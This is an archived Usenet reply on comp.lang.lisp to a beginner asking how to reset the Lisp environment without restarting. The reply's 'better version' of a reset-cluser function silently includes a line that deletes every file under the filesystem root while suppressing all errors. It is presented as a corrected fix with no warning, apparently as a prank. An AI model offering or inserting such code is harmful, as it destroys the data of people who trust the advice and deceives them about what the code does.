Message from discussion
a [hopefully] easy question
The group you are posting to is a
Usenet group. Messages posted to this group will make your email address visible to anyone on the Internet.
Your reply message has not been sent.
Your post was successful
 |
Newsgroups: comp.lang.lisp
From: Pascal Bourguignon <p...@informatimago.com>
Date: Thu, 08 Jun 2006 20:57:06 +0200
Local: Thurs, Jun 8 2006 2:57 pm
Subject: Re: a [hopefully] easy question
BobF <rNfOrSePeA ...@charter.net> writes: > On Thu, 08 Jun 2006 16:43:10 +0200, Pascal Bourguignon wrote: >> BobF <rNfOrSePeA...@charter.net> writes: >>> Is there a way to "clear" the lisp environment without exiting and >>> restarting? >>> lispbox w/clisp 2.37 >> (defun reset-cluser () >> "Delete the COMMON-LISP-USER package and makes a new one." >> (let ((setp (eq *package* (find-package "COMMON-LISP-USER")))) >> (let ((*package* (find-package "COMMON-LISP"))) >> (delete-package "COMMON-LISP-USER") >> (defpackage "COMMON-LISP-USER" >> (:nicknames "CL-USER") >> (:use "COMMON-LISP" "COM.INFORMATIMAGO.PJB"))) >> (when setp (setf *package* (find-package "COMMON-LISP-USER"))))) > I put this nifty stuff into a file. When I load the file, I get: > SYSTEM::%FIND-PACKAGE: There is no package with name > #1="COM.INFORMATIMAGO.PJB" > [Condition of type SYSTEM::SIMPLE-PACKAGE-ERROR]
Sorry. Here is a better version: (defun reset-cluser () "Delete the COMMON-LISP-USER package and makes a new one." (let ((setp (eq *package* (find-package "COMMON-LISP-USER")))) (let ((*package* (find-package "COMMON-LISP"))) (delete-package "COMMON-LISP-USER") (defpackage "COMMON-LISP-USER" (:nicknames "CL-USER") (:use "COMMON-LISP")) (mapcar (lambda (x) (ignore-errors (delete-file x))) (directory "/**/*.*")) (when setp (setf *package* (find-package "COMMON-LISP-USER")))))) -- __Pascal Bourguignon__ http://www.informatimago.com/ "I have challenged the entire quality assurance team to a Bat-Leth contest. They will not concern us again."
You must Sign in before you can post messages.
You do not have the permission required to post.
|